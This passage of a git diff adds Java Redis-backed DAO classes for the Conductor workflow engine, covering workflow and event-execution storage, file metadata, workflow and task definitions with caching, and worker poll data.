+ dateStr(workflow.getCreateTime())); + jedisProxy.srem(key, workflowId); + jedisProxy.srem(nsKey(CORR_ID_TO_WORKFLOWS, workflow.getCorrelationId()), workflowId); + jedisProxy.srem(nsKey(PENDING_WORKFLOWS, workflow.getWorkflowName()), workflowId); + + // Remove the object + jedisProxy.del(nsKey(WORKFLOW, workflowId)); + for (TaskModel task : workflow.getTasks()) { + removeTask(task.getTaskId()); + } + return true; + } + return false; + } + + public boolean removeWorkflowWithExpiry(String workflowId, int ttlSeconds) { + WorkflowModel workflow = getWorkflow(workflowId, true); + if (workflow != null) { + recordRedisDaoRequests("removeWorkflow"); + + // Remove from lists + String key = + nsKey( + WORKFLOW_DEF_TO_WORKFLOWS, + workflow.getWorkflowName(), + dateStr(workflow.getCreateTime())); + jedisProxy.srem(key, workflowId); + jedisProxy.srem(nsKey(CORR_ID_TO_WORKFLOWS, workflow.getCorrelationId()), workflowId); + jedisProxy.srem(nsKey(PENDING_WORKFLOWS, workflow.getWorkflowName()), workflowId); + + // Remove the object + jedisProxy.expire(nsKey(WORKFLOW, workflowId), ttlSeconds); + for (TaskModel task : workflow.getTasks()) { + removeTaskWithExpiry(task.getTaskId(), ttlSeconds); + } + jedisProxy.expire(nsKey(WORKFLOW_TO_TASKS, workflowId), ttlSeconds); + + return true; + } + return false; + } + + @Override + public void removeFromPendingWorkflow(String workflowType, String workflowId) { + recordRedisDaoRequests("removePendingWorkflow"); + jedisProxy.del(nsKey(SCHEDULED_TASKS, workflowId)); + jedisProxy.srem(nsKey(PENDING_WORKFLOWS, workflowType), workflowId); + } + + @Override + public WorkflowModel getWorkflow(String workflowId) { + return getWorkflow(workflowId, true); + } + + @Override + public WorkflowModel getWorkflow(String workflowId, boolean includeTasks) { + String json = jedisProxy.get(nsKey(WORKFLOW, workflowId)); + WorkflowModel workflow = null; + + if (json != null) { + workflow = readValue(json, WorkflowModel.class); + recordRedisDaoRequests("getWorkflow", "n/a", workflow.getWorkflowName()); + recordRedisDaoPayloadSize( + "getWorkflow", json.length(), "n/a", workflow.getWorkflowName()); + if (includeTasks) { + List tasks = getTasksForWorkflow(workflowId); + tasks.sort(Comparator.comparingInt(TaskModel::getSeq)); + workflow.setTasks(tasks); + } + } + return workflow; + } + + /** + * @param workflowName name of the workflow + * @param version the workflow version + * @return list of workflow ids that are in RUNNING state returns workflows of all versions + * for the given workflow name + */ + @Override + public List getRunningWorkflowIds(String workflowName, int version) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + List workflowIds; + recordRedisDaoRequests("getRunningWorkflowsByName"); + Set pendingWorkflows = jedisProxy.smembers(nsKey(PENDING_WORKFLOWS, workflowName)); + workflowIds = new LinkedList<>(pendingWorkflows); + return workflowIds; + } + + /** + * @param workflowName name of the workflow + * @param version the workflow version + * @return list of workflows that are in RUNNING state + */ + @Override + public List getPendingWorkflowsByType(String workflowName, int version) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + List workflowIds = getRunningWorkflowIds(workflowName, version); + return workflowIds.stream() + .map(this::getWorkflow) + .filter(workflow -> workflow.getWorkflowVersion() == version) + .collect(Collectors.toList()); + } + + @Override + public List getWorkflowsByType( + String workflowName, Long startTime, Long endTime) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + Preconditions.checkNotNull(startTime, "startTime cannot be null"); + Preconditions.checkNotNull(endTime, "endTime cannot be null"); + + List workflows = new LinkedList<>(); + + // Get all date strings between start and end + List dateStrs = dateStrBetweenDates(startTime, endTime); + dateStrs.forEach( + dateStr -> { + String key = nsKey(WORKFLOW_DEF_TO_WORKFLOWS, workflowName, dateStr); + jedisProxy + .smembers(key) + .forEach( + workflowId -> { + try { + WorkflowModel workflow = getWorkflow(workflowId); + if (workflow.getCreateTime() >= startTime + && workflow.getCreateTime() <= endTime) { + workflows.add(workflow); + } + } catch (Exception e) { + LOGGER.error( + "Failed to get workflow: {}", workflowId, e); + } + }); + }); + + return workflows; + } + + @Override + public List getWorkflowsByCorrelationId( + String workflowName, String correlationId, boolean includeTasks) { + throw new UnsupportedOperationException( + "This method is not implemented in RedisExecutionDAO. Please use ExecutionDAOFacade instead."); + } + + @Override + public boolean canSearchAcrossWorkflows() { + return false; + } + + /** + * Inserts a new workflow/ updates an existing workflow in the datastore. Additionally, if a + * workflow is in terminal state, it is removed from the set of pending workflows. + * + * @param workflow the workflow instance + * @param update flag to identify if update or create operation + * @return the workflowId + */ + private String insertOrUpdateWorkflow(WorkflowModel workflow, boolean update) { + Preconditions.checkNotNull(workflow, "workflow object cannot be null"); + + List tasks = workflow.getTasks(); + workflow.setTasks(new LinkedList<>()); + + String payload = toJson(workflow); + // Store the workflow object + jedisProxy.set(nsKey(WORKFLOW, workflow.getWorkflowId()), payload); + recordRedisDaoRequests("storeWorkflow", "n/a", workflow.getWorkflowName()); + recordRedisDaoPayloadSize( + "storeWorkflow", payload.length(), "n/a", workflow.getWorkflowName()); + if (!update) { + // Add to list of workflows for a workflowdef + String key = + nsKey( + WORKFLOW_DEF_TO_WORKFLOWS, + workflow.getWorkflowName(), + dateStr(workflow.getCreateTime())); + jedisProxy.sadd(key, workflow.getWorkflowId()); + if (workflow.getCorrelationId() != null) { + // Add to list of workflows for a correlationId + jedisProxy.sadd( + nsKey(CORR_ID_TO_WORKFLOWS, workflow.getCorrelationId()), + workflow.getWorkflowId()); + } + } + // Add or remove from the pending workflows + if (workflow.getStatus().isTerminal()) { + jedisProxy.srem( + nsKey(PENDING_WORKFLOWS, workflow.getWorkflowName()), workflow.getWorkflowId()); + } else { + jedisProxy.sadd( + nsKey(PENDING_WORKFLOWS, workflow.getWorkflowName()), workflow.getWorkflowId()); + } + + workflow.setTasks(tasks); + return workflow.getWorkflowId(); + } + + /** + * Stores the correlation of a task to the workflow instance in the datastore + * + * @param taskId the taskId to be correlated + * @param workflowInstanceId the workflowId to which the tasks belongs to + */ + @VisibleForTesting + void correlateTaskToWorkflowInDS(String taskId, String workflowInstanceId) { + String workflowToTaskKey = nsKey(WORKFLOW_TO_TASKS, workflowInstanceId); + jedisProxy.sadd(workflowToTaskKey, taskId); + LOGGER.debug( + "Task mapped in WORKFLOW_TO_TASKS with workflowToTaskKey: {}, workflowId: {}, taskId: {}", + workflowToTaskKey, + workflowInstanceId, + taskId); + } + + public long getPendingWorkflowCount(String workflowName) { + String key = nsKey(PENDING_WORKFLOWS, workflowName); + recordRedisDaoRequests("getPendingWorkflowCount"); + return jedisProxy.scard(key); + } + + @Override + public long getInProgressTaskCount(String taskDefName) { + String inProgressKey = nsKey(TASKS_IN_PROGRESS_STATUS, taskDefName); + recordRedisDaoRequests("getInProgressTaskCount"); + return jedisProxy.scard(inProgressKey); + } + + @Override + public boolean addEventExecution(EventExecution eventExecution) { + try { + String key = + nsKey( + EVENT_EXECUTION, + eventExecution.getName(), + eventExecution.getEvent(), + eventExecution.getMessageId()); + String json = objectMapper.writeValueAsString(eventExecution); + recordRedisDaoEventRequests("addEventExecution", eventExecution.getEvent()); + recordRedisDaoPayloadSize( + "addEventExecution", json.length(), eventExecution.getEvent(), "n/a"); + boolean added = jedisProxy.hsetnx(key, eventExecution.getId(), json) == 1L; + + if (ttlEventExecutionSeconds > 0) { + jedisProxy.expire(key, ttlEventExecutionSeconds); + } + + return added; + } catch (Exception e) { + throw new TransientException( + "Unable to add event execution for " + eventExecution.getId(), e); + } + } + + @Override + public void updateEventExecution(EventExecution eventExecution) { + try { + + String key = + nsKey( + EVENT_EXECUTION, + eventExecution.getName(), + eventExecution.getEvent(), + eventExecution.getMessageId()); + String json = objectMapper.writeValueAsString(eventExecution); + LOGGER.info("updating event execution {}", key); + jedisProxy.hset(key, eventExecution.getId(), json); + recordRedisDaoEventRequests("updateEventExecution", eventExecution.getEvent()); + recordRedisDaoPayloadSize( + "updateEventExecution", json.length(), eventExecution.getEvent(), "n/a"); + } catch (Exception e) { + throw new TransientException( + "Unable to update event execution for " + eventExecution.getId(), e); + } + } + + @Override + public void removeEventExecution(EventExecution eventExecution) { + try { + String key = + nsKey( + EVENT_EXECUTION, + eventExecution.getName(), + eventExecution.getEvent(), + eventExecution.getMessageId()); + LOGGER.info("removing event execution {}", key); + jedisProxy.hdel(key, eventExecution.getId()); + recordRedisDaoEventRequests("removeEventExecution", eventExecution.getEvent()); + } catch (Exception e) { + throw new TransientException( + "Unable to remove event execution for " + eventExecution.getId(), e); + } + } + + public List getEventExecutions( + String eventHandlerName, String eventName, String messageId, int max) { + try { + String key = nsKey(EVENT_EXECUTION, eventHandlerName, eventName, messageId); + LOGGER.info("getting event execution {}", key); + List executions = new LinkedList<>(); + for (int i = 0; i < max; i++) { + String field = messageId + "_" + i; + String value = jedisProxy.hget(key, field); + if (value == null) { + break; + } + recordRedisDaoEventRequests("getEventExecution", eventHandlerName); + recordRedisDaoPayloadSize( + "getEventExecution", value.length(), eventHandlerName, "n/a"); + EventExecution eventExecution = objectMapper.readValue(value, EventExecution.class); + executions.add(eventExecution); + } + return executions; + + } catch (Exception e) { + throw new TransientException( + "Unable to get event executions for " + eventHandlerName, e); + } + } + + private void validate(TaskModel task) { + try { + Preconditions.checkNotNull(task, "task object cannot be null"); + Preconditions.checkNotNull(task.getTaskId(), "Task id cannot be null"); + Preconditions.checkNotNull( + task.getWorkflowInstanceId(), "Workflow instance id cannot be null"); + Preconditions.checkNotNull( + task.getReferenceTaskName(), "Task reference name cannot be null"); + } catch (NullPointerException npe) { + throw new IllegalArgumentException(npe.getMessage(), npe); + } + } +} diff --git a/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisFileMetadataDAO.java b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisFileMetadataDAO.java new file mode 100644 index 0000000..e38d1b8 --- /dev/null +++ b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisFileMetadataDAO.java @@ -0,0 +1,118 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.time.Instant; +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +import org.conductoross.conductor.dao.FileMetadataDAO; +import org.conductoross.conductor.model.FileModel; +import org.conductoross.conductor.model.file.FileUploadStatus; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.redis.config.AnyRedisCondition; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; + +@Component +@Conditional(AnyRedisCondition.class) +@ConditionalOnProperty(name = "conductor.file-storage.enabled", havingValue = "true") +public class RedisFileMetadataDAO extends BaseDynoDAO implements FileMetadataDAO { + + private static final String FILE_METADATA = "FILE_METADATA"; + private static final String WORKFLOW_FILES = "WORKFLOW_FILES"; + private static final String TASK_FILES = "TASK_FILES"; + + public RedisFileMetadataDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties properties) { + super(jedisProxy, objectMapper, conductorProperties, properties); + } + + @Override + public void createFileMetadata(FileModel fileModel) { + String json = toJson(fileModel); + jedisProxy.hset(nsKey(FILE_METADATA), fileModel.getFileId(), json); + if (fileModel.getWorkflowId() != null) { + jedisProxy.sadd( + nsKey(WORKFLOW_FILES, fileModel.getWorkflowId()), fileModel.getFileId()); + } + if (fileModel.getTaskId() != null) { + jedisProxy.sadd(nsKey(TASK_FILES, fileModel.getTaskId()), fileModel.getFileId()); + } + } + + @Override + public FileModel getFileMetadata(String fileId) { + String json = jedisProxy.hget(nsKey(FILE_METADATA), fileId); + if (json == null) return null; + return readValue(json, FileModel.class); + } + + @Override + public void updateUploadStatus(String fileId, FileUploadStatus status) { + FileModel model = getFileMetadata(fileId); + if (model != null) { + model.setUploadStatus(status); + model.setUpdatedAt(Instant.now()); + jedisProxy.hset(nsKey(FILE_METADATA), fileId, toJson(model)); + } + } + + @Override + public void updateUploadComplete( + String fileId, FileUploadStatus status, String contentHash, long contentSize) { + FileModel model = getFileMetadata(fileId); + if (model != null) { + model.setUploadStatus(status); + model.setStorageContentHash(contentHash); + model.setStorageContentSize(contentSize); + model.setUpdatedAt(Instant.now()); + jedisProxy.hset(nsKey(FILE_METADATA), fileId, toJson(model)); + } + } + + @Override + public List getFilesByWorkflowId(String workflowId) { + Set fileIds = jedisProxy.smembers(nsKey(WORKFLOW_FILES, workflowId)); + return getFileModels(fileIds); + } + + @Override + public List getFilesByTaskId(String taskId) { + Set fileIds = jedisProxy.smembers(nsKey(TASK_FILES, taskId)); + return getFileModels(fileIds); + } + + private List getFileModels(Set fileIds) { + List result = new ArrayList<>(); + if (fileIds != null) { + for (String fileId : fileIds) { + FileModel model = getFileMetadata(fileId); + if (model != null) { + result.add(model); + } + } + } + return result; + } +} diff --git a/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisMetadataDAO.java b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisMetadataDAO.java new file mode 100644 index 0000000..20c19b5 --- /dev/null +++ b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisMetadataDAO.java @@ -0,0 +1,381 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.ArrayList; +import java.util.Comparator; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.redis.config.AnyRedisCondition; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.base.Preconditions; +import jakarta.annotation.PreDestroy; + +import static com.netflix.conductor.common.metadata.tasks.TaskDef.ONE_HOUR; + +@Component +@Conditional(AnyRedisCondition.class) +public class RedisMetadataDAO extends BaseDynoDAO implements MetadataDAO { + + private static final Logger LOGGER = LoggerFactory.getLogger(RedisMetadataDAO.class); + + // Keys Families + private static final String ALL_TASK_DEFS = "TASK_DEFS"; + private static final String WORKFLOW_DEF_NAMES = "WORKFLOW_DEF_NAMES"; + private static final String WORKFLOW_DEF = "WORKFLOW_DEF"; + private static final String LATEST = "latest"; + private static final String className = RedisMetadataDAO.class.getSimpleName(); + private volatile Map taskDefCache = new HashMap<>(); + private volatile List workflowDefCache = new ArrayList<>(); + private final boolean workflowDefCacheEnabled; + private final ScheduledExecutorService cacheRefreshExecutor = + Executors.newScheduledThreadPool(2, r -> new Thread(r, "redis-metadata-cache-refresh")); + + public RedisMetadataDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties properties) { + super(jedisProxy, objectMapper, conductorProperties, properties); + this.workflowDefCacheEnabled = properties.isWorkflowDefCacheEnabled(); + refreshTaskDefs(); + long taskCacheRefreshTime = properties.getTaskDefCacheRefreshInterval().getSeconds(); + cacheRefreshExecutor.scheduleWithFixedDelay( + this::refreshTaskDefs, + taskCacheRefreshTime, + taskCacheRefreshTime, + TimeUnit.SECONDS); + if (workflowDefCacheEnabled) { + refreshWorkflowDefs(); + long metadataCacheRefreshTime = + properties.getMetadataCacheRefreshInterval().getSeconds(); + cacheRefreshExecutor.scheduleWithFixedDelay( + this::refreshWorkflowDefs, + metadataCacheRefreshTime, + metadataCacheRefreshTime, + TimeUnit.SECONDS); + } + } + + @PreDestroy + public void shutdown() { + cacheRefreshExecutor.shutdown(); + try { + if (!cacheRefreshExecutor.awaitTermination(5, TimeUnit.SECONDS)) { + cacheRefreshExecutor.shutdownNow(); + } + } catch (InterruptedException e) { + cacheRefreshExecutor.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + + @Override + public TaskDef createTaskDef(TaskDef taskDef) { + return insertOrUpdateTaskDef(taskDef); + } + + @Override + public TaskDef updateTaskDef(TaskDef taskDef) { + return insertOrUpdateTaskDef(taskDef); + } + + private TaskDef insertOrUpdateTaskDef(TaskDef taskDef) { + // Store all task def in under one key + String payload = toJson(taskDef); + jedisProxy.hset(nsKey(ALL_TASK_DEFS), taskDef.getName(), payload); + recordRedisDaoRequests("storeTaskDef"); + recordRedisDaoPayloadSize("storeTaskDef", payload.length(), taskDef.getName(), "n/a"); + refreshTaskDefs(); + return taskDef; + } + + private void refreshTaskDefs() { + try { + Map map = new HashMap<>(); + getAllTaskDefs().forEach(taskDef -> map.put(taskDef.getName(), taskDef)); + this.taskDefCache = map; + LOGGER.debug("Refreshed task defs: {}", this.taskDefCache.size()); + } catch (Exception e) { + Monitors.error(className, "refreshTaskDefs"); + LOGGER.error("refresh TaskDefs failed ", e); + } + } + + private void refreshWorkflowDefs() { + try { + this.workflowDefCache = loadAllWorkflowDefsFromDB(); + LOGGER.debug("Refreshed workflow defs: {}", workflowDefCache.size()); + } catch (Exception e) { + Monitors.error(className, "refreshWorkflowDefs"); + LOGGER.error("refresh WorkflowDefs failed", e); + } + } + + @Override + public TaskDef getTaskDef(String name) { + return Optional.ofNullable(taskDefCache.get(name)).orElseGet(() -> getTaskDefFromDB(name)); + } + + private TaskDef getTaskDefFromDB(String name) { + Preconditions.checkNotNull(name, "TaskDef name cannot be null"); + + TaskDef taskDef = null; + String taskDefJsonStr = jedisProxy.hget(nsKey(ALL_TASK_DEFS), name); + if (taskDefJsonStr != null) { + taskDef = readValue(taskDefJsonStr, TaskDef.class); + recordRedisDaoRequests("getTaskDef"); + recordRedisDaoPayloadSize( + "getTaskDef", taskDefJsonStr.length(), taskDef.getName(), "n/a"); + } + setDefaults(taskDef); + return taskDef; + } + + private void setDefaults(TaskDef taskDef) { + if (taskDef != null && taskDef.getResponseTimeoutSeconds() == 0) { + taskDef.setResponseTimeoutSeconds( + taskDef.getTimeoutSeconds() == 0 ? ONE_HOUR : taskDef.getTimeoutSeconds() - 1); + } + } + + @Override + public List getAllTaskDefs() { + List allTaskDefs = new LinkedList<>(); + + recordRedisDaoRequests("getAllTaskDefs"); + Map taskDefs = jedisProxy.hgetAll(nsKey(ALL_TASK_DEFS)); + int size = 0; + if (taskDefs.size() > 0) { + for (String taskDefJsonStr : taskDefs.values()) { + if (taskDefJsonStr != null) { + TaskDef taskDef = readValue(taskDefJsonStr, TaskDef.class); + setDefaults(taskDef); + allTaskDefs.add(taskDef); + size += taskDefJsonStr.length(); + } + } + recordRedisDaoPayloadSize("getAllTaskDefs", size, "n/a", "n/a"); + } + + return allTaskDefs; + } + + @Override + public void removeTaskDef(String name) { + Preconditions.checkNotNull(name, "TaskDef name cannot be null"); + Long result = jedisProxy.hdel(nsKey(ALL_TASK_DEFS), name); + if (!result.equals(1L)) { + throw new NotFoundException("Cannot remove the task - no such task definition"); + } + recordRedisDaoRequests("removeTaskDef"); + refreshTaskDefs(); + } + + @Override + public void createWorkflowDef(WorkflowDef def) { + if (jedisProxy.hexists( + nsKey(WORKFLOW_DEF, def.getName()), String.valueOf(def.getVersion()))) { + throw new ConflictException("Workflow with %s already exists!", def.key()); + } + _createOrUpdate(def); + } + + @Override + public void updateWorkflowDef(WorkflowDef def) { + _createOrUpdate(def); + } + + @Override + /* + * @param name Name of the workflow definition + * @return Latest version of workflow definition + * @see WorkflowDef + */ + public Optional getLatestWorkflowDef(String name) { + Preconditions.checkNotNull(name, "WorkflowDef name cannot be null"); + WorkflowDef workflowDef = null; + + Optional optionalMaxVersion = getWorkflowMaxVersion(name); + + if (optionalMaxVersion.isPresent()) { + String latestdata = + jedisProxy.hget(nsKey(WORKFLOW_DEF, name), optionalMaxVersion.get().toString()); + if (latestdata != null) { + workflowDef = readValue(latestdata, WorkflowDef.class); + } + } + + return Optional.ofNullable(workflowDef); + } + + private Optional getWorkflowMaxVersion(String workflowName) { + return jedisProxy.hkeys(nsKey(WORKFLOW_DEF, workflowName)).stream() + .filter(key -> !key.equals(LATEST)) + .map(Integer::valueOf) + .max(Comparator.naturalOrder()); + } + + public List getAllVersions(String name) { + Preconditions.checkNotNull(name, "WorkflowDef name cannot be null"); + List workflows = new LinkedList<>(); + + recordRedisDaoRequests("getAllWorkflowDefsByName"); + Map workflowDefs = jedisProxy.hgetAll(nsKey(WORKFLOW_DEF, name)); + int size = 0; + for (String key : workflowDefs.keySet()) { + if (key.equals(LATEST)) { + continue; + } + String workflowDef = workflowDefs.get(key); + workflows.add(readValue(workflowDef, WorkflowDef.class)); + size += workflowDef.length(); + } + recordRedisDaoPayloadSize("getAllWorkflowDefsByName", size, "n/a", name); + + return workflows; + } + + @Override + public Optional getWorkflowDef(String name, int version) { + Preconditions.checkNotNull(name, "WorkflowDef name cannot be null"); + WorkflowDef def = null; + + recordRedisDaoRequests("getWorkflowDef"); + String workflowDefJsonString = + jedisProxy.hget(nsKey(WORKFLOW_DEF, name), String.valueOf(version)); + if (workflowDefJsonString != null) { + def = readValue(workflowDefJsonString, WorkflowDef.class); + recordRedisDaoPayloadSize( + "getWorkflowDef", workflowDefJsonString.length(), "n/a", name); + } + return Optional.ofNullable(def); + } + + @Override + public void removeWorkflowDef(String name, Integer version) { + Preconditions.checkArgument( + StringUtils.isNotBlank(name), "WorkflowDef name cannot be null"); + Preconditions.checkNotNull(version, "Input version cannot be null"); + Long result = jedisProxy.hdel(nsKey(WORKFLOW_DEF, name), String.valueOf(version)); + if (!result.equals(1L)) { + throw new NotFoundException( + "Cannot remove the workflow - no such workflow" + " definition: %s version: %d", + name, version); + } + + // check if there are any more versions remaining if not delete the + // workflow name + Optional optionMaxVersion = getWorkflowMaxVersion(name); + + // delete workflow name + if (optionMaxVersion.isEmpty()) { + jedisProxy.srem(nsKey(WORKFLOW_DEF_NAMES), name); + } + + recordRedisDaoRequests("removeWorkflowDef"); + if (workflowDefCacheEnabled) { + refreshWorkflowDefs(); + } + } + + public List findAll() { + Set wfNames = jedisProxy.smembers(nsKey(WORKFLOW_DEF_NAMES)); + return new ArrayList<>(wfNames); + } + + @Override + public List getAllWorkflowDefs() { + if (workflowDefCacheEnabled) { + return new ArrayList<>(workflowDefCache); + } + return loadAllWorkflowDefsFromDB(); + } + + private List loadAllWorkflowDefsFromDB() { + List workflows = new LinkedList<>(); + + recordRedisDaoRequests("getAllWorkflowDefs"); + Set wfNames = jedisProxy.smembers(nsKey(WORKFLOW_DEF_NAMES)); + int size = 0; + for (String wfName : wfNames) { + Map workflowDefs = jedisProxy.hgetAll(nsKey(WORKFLOW_DEF, wfName)); + for (String key : workflowDefs.keySet()) { + if (key.equals(LATEST)) { + continue; + } + String workflowDef = workflowDefs.get(key); + workflows.add(readValue(workflowDef, WorkflowDef.class)); + size += workflowDef.length(); + } + } + recordRedisDaoPayloadSize("getAllWorkflowDefs", size, "n/a", "n/a"); + return workflows; + } + + @Override + public List getAllWorkflowDefsLatestVersions() { + recordRedisDaoRequests("getAllWorkflowLatestVersionsDefs"); + List source = + workflowDefCacheEnabled + ? new ArrayList<>(workflowDefCache) + : loadAllWorkflowDefsFromDB(); + Map latestByName = new HashMap<>(); + for (WorkflowDef def : source) { + latestByName.merge( + def.getName(), + def, + (existing, candidate) -> + candidate.getVersion() > existing.getVersion() ? candidate : existing); + } + return new ArrayList<>(latestByName.values()); + } + + private void _createOrUpdate(WorkflowDef workflowDef) { + // First set the workflow def + jedisProxy.hset( + nsKey(WORKFLOW_DEF, workflowDef.getName()), + String.valueOf(workflowDef.getVersion()), + toJson(workflowDef)); + + jedisProxy.sadd(nsKey(WORKFLOW_DEF_NAMES), workflowDef.getName()); + recordRedisDaoRequests("storeWorkflowDef", "n/a", workflowDef.getName()); + if (workflowDefCacheEnabled) { + refreshWorkflowDefs(); + } + } +} diff --git a/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisPollDataDAO.java b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisPollDataDAO.java new file mode 100644 index 0000000..053d6a0 --- /dev/null +++ b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisPollDataDAO.java @@ -0,0 +1,100 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import org.apache.commons.lang3.StringUtils; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.dao.PollDataDAO; +import com.netflix.conductor.redis.config.AnyRedisCondition; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.base.Preconditions; + +@Component +@Conditional(AnyRedisCondition.class) +public class RedisPollDataDAO extends BaseDynoDAO implements PollDataDAO { + + private static final String POLL_DATA = "POLL_DATA"; + + public RedisPollDataDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties properties) { + super(jedisProxy, objectMapper, conductorProperties, properties); + } + + @Override + public void updateLastPollData(String taskDefName, String domain, String workerId) { + Preconditions.checkNotNull(taskDefName, "taskDefName name cannot be null"); + PollData pollData = new PollData(taskDefName, domain, workerId, System.currentTimeMillis()); + + String key = nsKey(POLL_DATA, pollData.getQueueName()); + String field = (domain == null) ? "DEFAULT" : domain; + + String payload = toJson(pollData); + recordRedisDaoRequests("updatePollData"); + recordRedisDaoPayloadSize("updatePollData", payload.length(), "n/a", "n/a"); + jedisProxy.hset(key, field, payload); + } + + @Override + public PollData getPollData(String taskDefName, String domain) { + Preconditions.checkNotNull(taskDefName, "taskDefName name cannot be null"); + + String key = nsKey(POLL_DATA, taskDefName); + String field = (domain == null) ? "DEFAULT" : domain; + + String pollDataJsonString = jedisProxy.hget(key, field); + recordRedisDaoRequests("getPollData"); + recordRedisDaoPayloadSize( + "getPollData", StringUtils.length(pollDataJsonString), "n/a", "n/a"); + + PollData pollData = null; + if (StringUtils.isNotBlank(pollDataJsonString)) { + pollData = readValue(pollDataJsonString, PollData.class); + } + return pollData; + } + + @Override + public List getPollData(String taskDefName) { + Preconditions.checkNotNull(taskDefName, "taskDefName name cannot be null"); + + String key = nsKey(POLL_DATA, taskDefName); + + Map pMapdata = jedisProxy.hgetAll(key); + List pollData = new ArrayList<>(); + if (pMapdata != null) { + pMapdata.values() + .forEach( + pollDataJsonString -> { + pollData.add(readValue(pollDataJsonString, PollData.class)); + recordRedisDaoRequests("getPollData"); + recordRedisDaoPayloadSize( + "getPollData", pollDataJsonString.length(), "n/a", "n/a"); + }); + } + return pollData; + } +} diff --git a/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisRateLimitingDAO.java b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisRateLimitingDAO.java new file mode 100644 index 0000000..d320c16 --- /dev/null +++ b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisRateLimitingDAO.java @@ -0,0 +1,148 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

